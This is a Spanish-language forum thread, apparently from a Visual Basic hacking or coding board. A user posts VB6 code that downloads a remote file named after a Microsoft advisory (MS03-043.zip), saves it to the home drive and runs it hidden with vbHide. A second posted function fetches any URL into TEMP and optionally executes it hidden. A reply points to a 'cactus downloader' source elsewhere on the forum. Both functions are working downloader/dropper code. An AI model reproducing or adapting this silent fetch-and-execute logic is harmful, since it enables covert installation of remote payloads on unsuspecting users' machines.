función DownloadToFile

[elrecar]

Código [Seleccionar] Expandir

Option Explicit

Private Declare Function URLDownloadToFile Lib "urlmon.dll" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Public Function DownloadFile(url As String, LocalFileName As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, url, LocalFileName, 0, 0)
DownloadFile = (lngRetVal = 0)
End Function

Private Sub Command1_Click()
Dim url As String
Dim file As String
Dim ret As String

url = "http://www.terra.es/personal3/fistror/e/MS03-043.zip"
file = Environ("homedrive") & "\jaja.zip"

Call DownloadFile(url, file)

ret = Shell("start " & Chr(34) & file & Chr(34), vbHide)

End Sub


como ven alli invoco a la funcion downloadtofile y guardo el file como jaja.zip, luego hago un ret = Shell("start " & Chr(34) & file & Chr(34), vbHide) para ejecutar el archivo pero me sale error "no existe el fichero", es obvio que esta ejecutando esa sentencia antes de que el archivo se haya descargado x completo, yo pense en ponerle un sleep pero queda muy chancho, mejor seria intentar ejecutarlo luego de haber temrinado la descarga sin usar un sleep, alguna idea? además esa forma de ejecución no me convence mucho ya que serviria solo para XP y no se si win 2000 creo que no, no?


aqui les dejo la función downloadtofile que va en un módulo .bas para los intreresados en la misma:

Código [Seleccionar] Expandir

Function DownloadFile(ByVal url As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
    On Error Resume Next
    Err.Clear

    Set XML = CreateObject("Microsoft.XMLHTTP")
    Set ADS = CreateObject("ADODB.Stream")

    XML.Open "GET", url, False
    XML.send

    XML.getAllResponseHeaders

    FullSavePath = Environ(SavePath) & "\" & SaveName

    ADS.Open
    ADS.Type = 1
    ADS.Write XML.responseBody
    ADS.SaveToFile FullSavePath, 2

    If Err Then
        DownloadFile = False
    Else
        If RunAfterDownload = True Then
            If RunHide = True Then
                Shell FullSavePath, vbHide
            Else
                Shell FullSavePath, vbNormalFocus
            End If
        End If
        DownloadFile = True
    End If
End Function

saludos!

[-Lozano-]

Pero creo que esto ya esta en el foro, Madantrax lo puso un ejemplo junto al source de su cactus downloader creo y a mi me funciona muy bien, para encontrar esto use el boton buscar y busque downloader y ya esta un ejemplo y el source code.

Saludos